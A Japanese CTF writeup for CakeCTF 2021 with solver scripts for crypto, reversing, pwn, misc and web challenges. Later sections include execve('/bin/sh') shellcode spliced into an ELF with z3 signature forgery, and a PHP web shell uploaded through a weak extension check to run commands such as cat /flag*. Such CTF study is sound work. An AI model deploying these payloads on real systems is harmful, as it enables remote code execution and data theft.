CakeCTF 2021 Writeup
Sun Aug 29 2021
8/28-8/29 で開催していた CakeCTF にチーム WreckTheLine で参加しました。結果は 9th/157 (得点のあるチームのみカウント) でした。
運営陣を見るに楽しい CTF になることが期待されたのでチームの人を誘ってみたのですが、他の CTF と被ってしまったみたいなので結局3人で遊びました。いつもの自分は一人で Crypto を黙々と解いていて、他のカテゴリーの議論は全く追えないでいたのですが、この CTF ではいろんなジャンルの問題をああだこうだ言いながらプレイできて楽しかったです。久しぶりに Crypto 以外のカテゴリーをやりましたが、難しいですね… (小並)
以下、解いた問題についての writeup です。
crypto
Party Ticket
12 solves
task.pyfrom Crypto.Util.number import getPrime, isPrime from hashlib import sha512 import random def getSafePrime(bits): while True: p = getPrime(bits - 1) q = 2*p + 1 if isPrime(q): return q def make_inivitation(): with open("flag.txt", "rb") as f: flag = f.read().strip() m = int.from_bytes(flag + sha512(flag).digest(), "big") p = getSafePrime(512) q = getSafePrime(512) n = p * q assert m < n b = random.randint(2, n-1) c = m*(m + b) % n return c, n, b # print("Dear Moe:") print(make_inivitation()) # print("Dear Lulu:") print(make_inivitation())
内容は至ってシンプルで、ある RSA の公開鍵2種類について、 としたときの が与えられています。
例えば が2種類の について与えられているとすると、 Hastad's broadcast attack で平文を特定することができます (ただし のとき)。これは wiki にも載っているぐらいメジャーかなと思います。 何か式変形うまくやって Hastad's broadcast attack 使えないかなと思って wiki を見ていると "Generalizaions" という文字が…読んでみると、賢い方法が書いてありました。
各 について が成り立つとします。今回の場合だと です。 CRT を使って for all となる を求めます ( はクロネッカーのデルタ)。このとき、 なる関数を作ると、 for all となります。この について の法の下、 Coppersmith's method で解くと、 なる が求められます。
これを実装しました。
solve.sagefrom Crypto.Util.number import long_to_bytes c0, n0, b0 = (39795129165179782072948669478321161038899681479625871173358302171683237835893840832234290438594216818679179705997157281783088604033668784734122669285858548434085304860234391595875496651283661871404229929931914526131264445207417648044425803563540967051469010787678249371332908670932659894542284165107881074924, 68660909070969737297724508988762852362244900989155650221801858809739761710736551570690881564899840391495223451995828852734931447471673160591368686788574452119089378643644806717315577499800198973149266893774763827678504269587808830214845193664196824803341291352363645741122863749136102317353277712778211746921, 67178092889486032966910239547294187275937064814538687370261392801988475286892301409412576388719256715674626198440678559254835210118951299316974691924547702661863023685159440234566417895869627139518545768653628797985530216197348765809818845561978683799881440977147882485209500531050870266487696442421879139684) c1, n1, b1 = (36129665029719417090875571200754697953719279663088594567085283528953872388969769307850818115587391335775050603174937738300553500364215284033587524409615295754037689856216651222399084259820740358670434163638881570227399889906282981752001884272665493024728725562843386437393437830876306729318240313971929190505, 126991469439266064182253640334143646787359600249751079940543800712902350262198976007776974846490305764455811952233960442940522062124810837879374503257253974693717431704743426838043079713490230725414862073192582640938262060331106418061373056529919988728695827648357260941906124164026078519494251443409651992021, 126361241889724771204194948532709880824648737216913346245821320121024754608436799993819209968301950594061546010811840952941646399799787914278677074393432618677546231281655894048478786406241444001324129430720968342426822797458373897535424257744221083876893507563751916046235091732419653547738101160488559383290) T0 = CRT([1, 0], [n0, n1]) T1 = CRT([0, 1], [n0, n1]) PR.<x> = PolynomialRing(Zmod(n0 * n1)) f = T0 * (x**2 + b0*x - c0) + T1 * (x**2 + b1*x - c1) m = f.small_roots(epsilon=0.07)[0] long_to_bytes(m)
CakeCTF{710_i5_5m4r73r_7h4n_R4bin_4nd_H4574d}
今回の CTF で一番推しの問題でした。ぱっと見簡単に解けそうなのに意外と難しく、盲点をついたような問題で面白かったです。
Matrix Cipher
14 solves
task.sagewith open("flag.txt", "rb") as f: flag = list(f.read().strip()) def hadamard(M): d = M.determinant() x = 1.0 for row in M: x *= row.norm() return (d / x) ** (1.0/M.ncols()) def keygen(n, d): k = int(floor(sqrt(n) * d)) while True: R = k * Matrix.identity(ZZ, n) + random_matrix(ZZ, n, n, x=-d, y=d) if hadamard(R) >= 0.7: break B = R while True: U = random_matrix(ZZ, n, n, algorithm="unimodular") B = U * B if hadamard(B) <= 0.2: break return B, R def encrypt(B, m): assert B.nrows() == len(m) return vector(ZZ, m) * B + random_vector(ZZ, len(m), x=-50, y=50) B, R = keygen(len(flag), 100) c = encrypt(B, flag) print(list(B)) print(c)
encrypt 関数を見ると を既知として、 となる がフラグのようです。 はランダムに生成されたベクトルで、 の典型的な値よりも十分に小さいです。
単純に CVP では？と思ってあまりコードを読まずにソルバーに投げたら解けました。
solve.sageB = [snipped] c = [snipped] B = matrix(ZZ, B) c = vector(ZZ, c) # Taken from https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage # But it's originated from rbtree's repository. target = Babai_CVP(B, c) flag = B.solve_left(target) "".join(map(chr, flag))
CakeCTF{ju57_d0_LLL_th3n_s01v3_CVP_wi7h_babai}
hadamard とかが何なのかはわかっておらず…復習しないとなあ。
Together as one
21 solves
chall.pyfrom Crypto.Util.number import getStrongPrime, bytes_to_long p = getStrongPrime(512) q = getStrongPrime(512) r = getStrongPrime(512) n = p*q*r x = pow(p + q, r, n) y = pow(p + q*r, r, n) m = bytes_to_long(open("./flag.txt", "rb").read()) assert m.bit_length() > 512 c = pow(m, 0x10001, n) print(f"{n = :#x}") print(f"{c = :#x}") print(f"{x = :#x}") print(f"{y = :#x}")
フラグを復号するには を求める必要がありそうです。
式変形をいろいろと試みます。今 は素数なので、 for となります。したがって
これら2式の差を取ると となり、この値と で gcd を計算することで が求まります。
次に先程の2式で を取ってみます。フェルマーの小定理より なので、
となります。差を取ると なので を計算することで が求まります。
solve.pyfrom Crypto.Util.number import long_to_bytes n = [snipped] c = [snipped] x = [snipped] y = [snipped] e = 0x10001 q = gcd(y-x, n) assert n % q == 0 pr = n // q qr = gcd(y-x+q, n) r = qr // q p = pr // r phi = (p - 1) * (q - 1) * (r - 1) d = int(pow(e, -1, phi)) long_to_bytes(pow(c, d, n))
CakeCTF{This_chall_is_inspired_by_this_music__Check_out!__https://www.youtube.com/watch?v=vLadkYLi8YE_cf49dcb6a31f}
動画見たけどどうすればこの音楽からこの問題がインスパイアされるんだ…
improvisation
34 solves
task.pyimport random def LFSR(): r = random.randrange(1 << 64) while True: yield r & 1 b = (r & 1) ^\ ((r & 2) >> 1) ^\ ((r & 8) >> 3) ^\ ((r & 16) >> 4) r = (r >> 1) | (b << 63) if __name__ == '__main__': with open("flag.txt", "rb") as f: flag = f.read() assert flag.startswith(b'CakeCTF{') m = int.from_bytes(flag, 'little') lfsr = LFSR() c = 0 while m: c = (c << 1) | ((m & 1) ^ next(lfsr)) m >>= 1 print(hex(c))
フィルター等もなく、非線形要素が全くない LFSR です。 "CakeCTF" の8bytesで64ビット分リークできるので、その後の出力を予想することができます。
solve.sagefrom Crypto.Util.number import * enc = long_to_bytes(0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053) S = matrix(GF(2), 64, 64) for i in range(63): S[i+1, i] = 1 TAP = [63-0, 63-1, 63-3, 63-4] for t in TAP: S[0, t] = 1 LHS = matrix(GF(2), 64, 64) L = vector(GF(2), 64) L[-1] = 1 for i in range(64): LHS[i] = L * S ** i known = [] for c in b"CakeCTF{": tmp = [] for _ in range(8): tmp.append(c % 2) c //= 2 known += tmp # ビット開始位置を考えるのが面倒だった全部探索 for idx in range(5): enc_bits = [] for c in enc: tmp = [] for _ in range(8): tmp.append(c % 2) c //= 2 enc_bits += tmp[::-1] tmp_enc_bits = enc_bits[idx:] RHS = vector(GF(2), 64) for i in range(64): RHS[i] = known[i] ^^ tmp_enc_bits[i] initial_state = LHS.solve_right(RHS) rand_bits = [] for i in range(len(tmp_enc_bits)): rand_bits.append((S ** i * initial_state)[-1]) ans_bits = [] for i in range(len(tmp_enc_bits)): tmp = int(rand_bits[i]) ^^ tmp_enc_bits[i] ans_bits.append(tmp) flag = b"" for i in range(0, len(tmp_enc_bits), 8): tmp_bits = ans_bits[i: i+8][::-1] flag += long_to_bytes(int("".join(map(str, tmp_bits)), 2)) print(flag)
CakeCTF{d0n't_3xp3c7_s3cur17y_2_LSFR}
reversing
rflag
20 solves
rust で書かれたプログラムです。32桁の16進数がランダムに生成されるのでその値を当てればフラグが手に入ります。4回まで query を送ることができ、その query に該当する index を教えてくれます。
バイナリを解析してまず見つけたのは ./rflag cakemode と実行するとデバッグモードになることです。デバッグモードでは正解の値を表示してくれます。しかしリモートでデバッグモードで実行する方法はなさそうです。
乱数の生成方法に注目します。 rand::rngs::ThreadRng で乱数が生成されているように見えますが、ドキュメントにあるとおり、
ThreadRng is a cryptographically secure PRNG
です。使い方にも特に問題はなさそう…
というわけで全体を見渡してみると、 query に正規表現を使えることに気づきました。 ですね。終
solve.pyfrom pwn import remote, process from collections import defaultdict # io = process(["./rflag/rflag", "cakemode"]) io = remote("misc.cakectf.com", 10023) candidates = [set(range(16)) for _ in range(32)] def to_hexlist(l): return "[" + ",".join(map(lambda x: hex(x)[2], l)) + "]" payloads = [to_hexlist([0, 1, 2, 3, 4, 5, 6, 7]), to_hexlist([0, 1, 2, 3, 8, 9, 10, 11]), to_hexlist([0, 1, 4, 5, 8, 9, 12, 13]), to_hexlist([0, 2, 4, 6, 8, 10, 12, 14])] ret_to_ans = { (0, 0, 0, 0): "f", (0, 0, 0, 1): "e", (0, 0, 1, 0): "d", (0, 0, 1, 1): "c", (0, 1, 0, 0): "b", (0, 1, 0, 1): "a", (0, 1, 1, 0): "9", (0, 1, 1, 1): "8", (1, 0, 0, 0): "7", (1, 0, 0, 1): "6", (1, 0, 1, 0): "5", (1, 0, 1, 1): "4", (1, 1, 0, 0): "3", (1, 1, 0, 1): "2", (1, 1, 1, 0): "1", (1, 1, 1, 1): "0", } ret_bin = defaultdict(list) for n in range(4): payload = payloads[n] io.sendlineafter(f"Round {n+1}/4: ", payload) io.recvuntil("Response: ") ret = eval(io.recvline()) for i in range(32): if i in ret: ret_bin[i].append(1) else: ret_bin[i].append(0) ans = "" for i in range(32): ans += ret_to_ans[tuple(ret_bin[i])] print(ans) io.sendlineafter("answer?\n", ans) io.interactive()
CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}
Hash browns
40 solves
静的解析をすると、フラグの各文字 m について、奇数番目だったら md5(m)、偶数番目だったら sha256(inverse(m, 37)) でハッシュ化し、ハッシュの10文字目までがメモリ上の値と一致するかをチェックしていることがわかりました。 動的解析で正解の値を取得し、フラグを逆算しました。
solve.pyfrom hashlib import md5, sha256 from Crypto.Util.number import inverse md5_ans = [ 0x3733386631366430, 0x6234656338006330, 0x6430003232623631, 0x6330373338663136, 0x3938313630303800, 0x3463343800303334, 0x6400313433373430, 0x3235373937363539, 0x3764313733390031, 0x6533340033653261, 0x0065656435653363, 0x6362653564363333, 0x3564363333003435, 0x6334003435636265, 0x6530373166313637, 0x3734303463343800, 0x6134316200313433, 0x3900393530386237, 0x6532613764313733, 0x6631363763340033, 0x6334340065303731, 0x0030316264653932, 0x6338316563653962, 0x6563653962003539, 0x3166003539633831, 0x3335373731323638, 0x3731323638316600, 0x3637633400333537, 0x3800653037316631, 0x3433373430346334, 0x3264653831350031, 0x3733390035323539, 0x0033653261376431, 0x3532323731623632, 0x3564363333003662, 0x3333003435636265, 0x3435636265356436, 0x6561643938333300, 0x3463343800313633, 0x6400313433373430, 0x3235373937363539, 0x3764313733390031, 0x3738610033653261, 0x0032613937366666, 0x6331393039373631, 0x3461633463006135, 0x6638003061383332, 0x6563663534653431, 0x3938663066396300, 0x6637386100626635, 0x0000326139373666, 0x0000000000000000, ] sha256_ans = [ 0x3231313837396163, 0x6239376633006163, 0x6137003334623762, 0x3662633133346563, 0x6664613265326400, 0x6463343700373137, 0x6300376339666539, 0x3965326634393634, 0x3234323663320033, 0x3935350064633233, 0x0032383064616561, 0x6331333465636137, 0x3533373464003662, 0x6162003632613365, 0x3730643135636535, 0x6338383834383600, 0x3230393700626530, 0x3700346562393936, 0x6263313334656361, 0x3965643834310036, 0x6334370037613563, 0x0037633966653964, 0x6261316262653233, 0x6262653233006363, 0x6533006363626131, 0x3030363138653332, 0x3037623233366500, 0x6563613700623539, 0x6400366263313334, 0x3137666461326532, 0x3231643266650037, 0x3739330033656437, 0x0039653232306533, 0x6532663439363463, 0x6266313230003339, 0x6137006264363935, 0x3662633133346563, 0x6238313930383300, 0x6463343700363439, 0x6100376339666539, 0x3132343263383133, 0x6539646334370036, 0x3038330037633966, 0x0036343962383139, 0x3966653964633437, 0x6365356162003763, 0x3833003730643135, 0x3634396238313930, 0x3266343936346300, 0x6230316400333965, 0x0000343761613633, 0x0000000000000040, ] s_all = "" for i in range(len(md5_ans)): tmp = md5_ans[i] s = "" for _ in range(8): s += chr(tmp % 256) tmp //= 256 s_all += s md5_ans = s_all.split(chr(0)) s_all = "" for i in range(len(sha256_ans)): tmp = sha256_ans[i] s = "" for _ in range(8): s += chr(tmp % 256) tmp //= 256 s_all += s sha256_ans = s_all.split(chr(0)) md5_cache = {} sha256_cache = {} for c in range(32, 128): md5_cache[md5(chr(c).encode()).hexdigest()[:10]] = c sha256_cache[sha256(chr(c).encode()).hexdigest()[:10]] = c ans = "" for i, (m, s) in enumerate(zip(md5_ans, sha256_ans)): m = md5_ans[i] s = sha256_ans[inverse(i, 37)] ans += chr(md5_cache[m]) ans += chr(sha256_cache[s]) print(ans)
CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}
cheat
Kingtaker
22 solves
javascript 製のブラウザゲームの問題。 script は http://misc.cakectf.com:10311/static/king-taker.js?FNUAC=1867349910 にありますが、難読化されています。
最初の2つは普通にパズルとして成り立っていて、回数ギリギリでクリアできます。しかし3つ目はどうやっても1回分足りません。カテゴリ名的に (というかこれはそもそも CTF) チートをするということでしょう。
3ステージまで進んでいるので、それぞれのステージの初期残り移動回数がわかっています。これらの数値がハードコードされていないかなと思い検索をかけると、以下の部分を見つけました。
function _U2(_0x225ba0) { var _0x1d3735 = _0xffd866; global[_0x1d3735(0x7bb)] = 0xb; } function _V2(_0x401b5f) { var _0x3056c7 = _0xffd866; _0x401b5f[_0x3056c7(0x7a8)] = 0x1; } function _Y2(_0x5a5930) { var _0x3c251a = _0xffd866; global[_0x3c251a(0x7bb)] = 0x26; } function _Z2(_0x242b69) { var _0x5c5303 = _0xffd866; _0x242b69[_0x5c5303(0x7a8)] = 0x2; } function __2(_0x2fefef) { _0x2fefef["_I4"] = 0x3; } function _03(_0x4f72bf) { var _0xcf60a1 = _0xffd866; global[_0xcf60a1(0x7bb)] = 0x29; } function _13(_0x1dbf6d) { global["_n4"] = 0x3; } function _23(_0x35a2e0) { _0x35a2e0["_I4"] = 0x4; }
0xb, 0x26, 0x29 あたりが該当しています。 chrome の console 上で global という変数を見てみると、2つの値が格納されていました。これらのうち 0x29 (3つ目のステージの初期残り移動回数) を大きくする (100 以上にするとチートがバレて終了) ことで3つ目をクリアすることができました。
4つ目のステージはそもそもブロックを押すことができず、残り移動回数を増やしてもクリアすることはできません。当たり判定とかを変更するのかなと最初は思いましたが、 global に2つの値が格納されていたことを思い出します。これらのうち残り移動回数ではないほうが0だったので適当に1にしてみるとクリアとなりました。クリア判定のフラグが格納されていたんですかね？
CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}
pwn
JIT4b
28 solves
JIT compiler を騙す問題。
/* Abstract divition */ Range& operator/=(const int& rhs) { if (rhs < 0) *this *= -1; // This swaps min and max properly // There's no function named "__builtin_sdiv_overflow" // (Integer overflow never happens by integer division!) min /= abs(rhs); max /= abs(rhs); return *this; }
ここに脆弱性があって、 で割ったときにオーバーフローが生じて Range(1, 0) となりました (↑の部分が怪しい！とチームメイト向けに騒いだらこの脆弱性を見つけてくれました)。 Range(1, 0) の状況で で Range(0, -1) となり、 を代入すると範囲外アクセスが生じ、フラグが得られました。
CakeCTF{1_th1nk_u_c4n_try_2_3xpl017_r34l_bug5_1n_br0ws3r}
misc
telepathy
29 solves
main.gopackage main import ( "log" "github.com/labstack/echo" ) func run() error { e := echo.New() e.File("/", "public/flag.txt") if err := e.Start(":8000"); err != nil { return err } return nil } func main() { if err := run(); err != nil { log.Fatalf("%+v\n", err) } }
default.confserver { listen 80; server_name localhost; #charset koi8-r; #access_log /var/log/nginx/host.access.log main; location / { # I'm getting the flag with telepathy... proxy_pass http://app:8000/; # I will send the flag to you by HyperTextTelePathy, instead of HTTP header_filter_by_lua_block { ngx.header.content_length = nil; } body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); } } }
サーバー側では public/flag.txt の内容を返そうとしますが、 nginx の設定で、 "\\w*\\{.*\\}" (つまりフラグの形式) のコンテンツは "I'm sending the flag to you by telepathy... Got it?\n" に置き換えられてしまいます。
request header で Range を 8-100 等に指定し、正規表現に引っかからない内容をサーバー側が返すようにすることでフラグが得られました。
CakeCTF{r4ng3-0r4ng3-r4ng3}
Break a leg
44 solves
chall.pyfrom PIL import Image from random import getrandbits with open("flag.txt", "rb") as f: flag = int.from_bytes(f.read().strip(), "big") bitlen = flag.bit_length() data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] img = Image.new("RGB", (256, 256)) img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)]) img.save("chall.png")
フラグの各ビットに対して、 getrandbits(8) と or を取った値で画像が生成されています。フラグのビットが1のときは必ず1、0のときは50%の確率で0, 1となります。 bitlen の周期でこの計算が何回かされるため、
- フラグの最初のビットは1なことを利用して bitlen を同定
- 出力が1だけか0, 1かでフラグのビットを復元
という手順でフラグが求まりました。
solve.pyfrom collections import Counter import numpy as np from PIL import Image img = Image.open("/home/y011d4/cakectf/misc/break_a_leg/break_a_leg/chall.png") img_arr = np.array(img).reshape(-1) for bitlen in range(2, 1000): if all(map(lambda x: x&1, img_arr[0::bitlen])): print(bitlen) $ 575 bitlen = 575 ans = "" for idx in range(bitlen): cnt = Counter(map(lambda x: x&1, img_arr[idx::bitlen])) if len(cnt) == 2: ans += "0" elif len(cnt) == 1: ans += "1" else: raise ValueError
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}
web
MofuMofu Diary
80 solves
cookie の cache に、表示すべきコンテンツが保持されています。それの expiary が現在時刻より前になっているとき、表示をし直します。したがって {"data":[{"name":"/flag.txt","description":"a"}],"expiry":1} を URL encode したものを cookie に保存しておくと、フラグの文字列を base64 エンコードした値が表示されます。
CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}
復習
reversing
ALDRYA
ELF の署名 (?) を確認するプログラムが用意されており、署名が一致すれば ELF が実行されます。署名は指定されています。 root directory 上にフラグがあると README に書かれているので、 /bin/sh のような ELF を指定された署名と一致するように作れればよさそうです。
まず署名アルゴリズムがどのようなものかを確認します。 ghidra で解析した結果が以下となります (変数名は適宜変えています)。
bool validate_chunk(FILE *fp_elf,FILE *fp_aldrya) { byte *addr_chunk; size_t sVar1; byte *idx; uint calc_sign; long in_FS_OFFSET; bool bVar2; uint signature; long local_30; byte val; local_30 = *(long *)(in_FS_OFFSET + 0x28); addr_chunk = (byte *)calloc(0x100,1); sVar1 = fread(addr_chunk,1,0x100,fp_elf); if (sVar1 == 0) { free(addr_chunk); bVar2 = true; } else { sVar1 = fread(&signature,4,1,fp_aldrya); if (sVar1 != 1) { puts("[-] ALDRYA file is truncated"); free(addr_chunk); fclose(fp_elf); fclose(fp_aldrya); /* WARNING: Subroutine does not return */ exit(1); } calc_sign = 0x20210828; idx = addr_chunk; do { val = *idx; idx = idx + 1; calc_sign = (calc_sign ^ val) >> 1 | (uint)(((calc_sign ^ val) & 1) != 0) << 0x1f; } while (addr_chunk + 0x100 != idx); free(addr_chunk); bVar2 = signature != calc_sign; } if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) { return bVar2; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
ELF を 0x100 バイトごとの chunk にわけ、それぞれの chunk で以上の計算をした結果が4バイトの署名と一致しているかをチェックしています。 python のコードで書くと以下のようになります。
from Crypto.Util.number import * with open("sample.elf", "rb") as f: elf = f.read() with open("sample.aldrya", "rb") as f: aldrya = f.read() for idx in range(66): n = 0x100 * idx chunk = elf[n: n+0x100] if len(chunk) < 0x100: chunk += b"\x00" * (0x100 - len(chunk)) calc_sign = 0x20210828 for i in range(0x100): val = chunk[i] tmp = calc_sign ^ val calc_sign = (tmp >> 1) | ((tmp & 1) << 0x1f) assert calc_sign == bytes_to_long(aldrya[4*(idx+1):4*(idx+2)][::-1])
(競技時間中はここまでやりました。)
Writeup をいろいろ見てみると、 sample.elf の entry 部分にシェルコードを埋め込み、その前後は適当なバイト文字で埋めてもいいことを利用して z3 で署名が通るように書き換えるのが主流っぽい？実装してみました。
sample_to_sh_elf.pywith open("sample.elf", "rb") as f: sample_elf = f.read() # http://shell-storm.org/shellcode/files/shellcode-806.php shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" idx = sample_elf.find(b"\xf3\x0f\x1e\xfa\x31\xed\x49\x89\xd1") # entry の部分のバイト列の位置を探す sh_elf = sample_elf[:idx] + shellcode + sample_elf[idx + len(shellcode):] assert len(sample_elf) == len(sh_elf) print(f"You have to modify {idx}-{idx+len(shellcode)} (chunk: {idx // 0x100}-{(idx+len(shellcode)) // 0x100})") with open("sh.elf", "wb") as f: f.write(sh_elf)
このスクリプトで生成された sh.elf を実行するとシェルが起動することを確認しました。
その後、z3 を使って、書き換えられた chunk 部分の署名が通るように修正します。
sign_sh_elf.pyfrom Crypto.Util.number import bytes_to_long from z3 import * with open("sh.elf", "rb") as f: sh_elf = f.read() with open("sample.aldrya", "rb") as f: aldrya = f.read() fixed_idx_start = 4192 fixed_idx_end = 4219 modified_chunk_idx = 16 modified_idx_start = 16 * 0x100 modified_idx_end = 17 * 0x100 sign = bytes_to_long( aldrya[4 * (modified_chunk_idx + 1) : 4 * (modified_chunk_idx + 2)][::-1] ) s = Solver() chunk = [BitVec(f"b{i}", 8) for i in range(0x100)] for i in range(fixed_idx_start % 0x100, fixed_idx_end % 0x100): s.add(chunk[i] == sh_elf[modified_idx_start + i]) calc_sign = Int2BV(IntVal(0x20210828), 32) for i in range(0x100): val = ZeroExt(24, chunk[i]) tmp = calc_sign ^ val calc_sign = LShR(tmp, 1) | ((tmp & 1) << 0x1F) s.add(calc_sign == sign) s.check() == sat m = s.model() signed_sh_elf = ( sh_elf[:modified_idx_start] + bytes([m[chunk[i]].as_long() for i in range(0x100)]) + sh_elf[modified_idx_end:] ) with open("signed_sh.elf", "wb") as f: f.write(signed_sh_elf)
これをファイルサーバーに送り、 server.py に対して URL を指定すると、シェルが起動し、 cat /flag* でフラグが入手できました。 https://transfer.sh/ という便利ツールがあるということが地味に勉強になりました。
CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}
web
ziperatops
アップロードした zip の中身を表示してくれるウェブサービスです。アップロード時には以下のようなチェックが入ります。
utils.phpfunction setup($name) { /* Create a working directory */ $dname = sha1(uniqid()); @mkdir("temp/$dname"); /* Check if files are uploaded */ echo $_FILES[$name]['name']; echo "\n"; if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name'])) return array($dname, null); /* Validation */ for ($i = 0; $i < count($_FILES[$name]['name']); $i++) { $tmpfile = $_FILES[$name]['tmp_name'][$i]; $filename = $_FILES[$name]['name'][$i]; echo "$tmpfile $filename"; if (!is_uploaded_file($tmpfile)) continue; /* Check the uploaded zip file */ $zip = new ZipArchive; if ($zip->open($tmpfile) !== TRUE) return array($dname, "Invalid file format"); /* Check filename */ if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1) return array($dname, "Invalid file name: $filename"); /* Detect hacking attempt (This is not necessary but just in case) */ if (strstr($filename, "..") !== FALSE) return array($dname, "Do not include '..' in file name"); /* Check extension */ if (preg_match('/^.+\.zip/', $filename, $result) !== 1) return array($dname, "Invalid extension (Only .zip is allowed)"); /* Move the files */ if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE) return array($dname, "Failed to upload the file: $dname/$filename"); } return array($dname, null); }
コードを眺めていると if (preg_match('/^.+\.zip/', $filename, $result) !== 1) の部分で実は hoge.zip.php のようなファイル名を弾くことができていないことに気づきました。 そのため、 <?php system($_GET["cmd"]);?> という名前のファイルを作り、 zip hoge.zip.php '<?php system($_GET["cmd"]);?>' で zip ファイルを作りアップロードすると、このファイルにアクセスできれば web shell を叩くことができるようになります。
あとは
- アップロード先の path を特定
- ファイルが unlink される問題を回避
できればよさそうです。 path の特定は move_uploaded_file を失敗させればできそうで、それさえできればファイルが unlink される前に web shell 叩けたりするのかなと競技中は考えてましたが、肝心の move_uploaded_file を失敗させる方法がわからず…
他の人の writeup を見ていると、 move_uploaded_file はファイル名が十分長いときに失敗するという話が挙げられていました。 ここ でも言及されています。いやあ気づけなかったな… linux ではファイル名が255文字まで許されているらしい。 Burp Suite でファイル送信時にファイル名を256文字以上にしてアップロードしてみると期待通りエラーが生じ、 path を表示させることができました。
あとは web shell を叩くためにどうするかという話なのですが、 temp/$dname/* という正規表現では temp/$dname/.hoge のようなファイル名は拾えないらしいです。知らなかった…
mv hoge.zip.php .a.zip.php でファイル名を変更し、 .a.zip.php と適当な zip ファイルの2つを送信し (.a.zip.php が先頭にくるようにする)、適当な zip ファイルの名前をクソ長にすることで path を得て、 /temp/PATH_TO_FILE/.a.zip.php?cmd=cat /flag* にアクセスすることでフラグを表示できました。
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}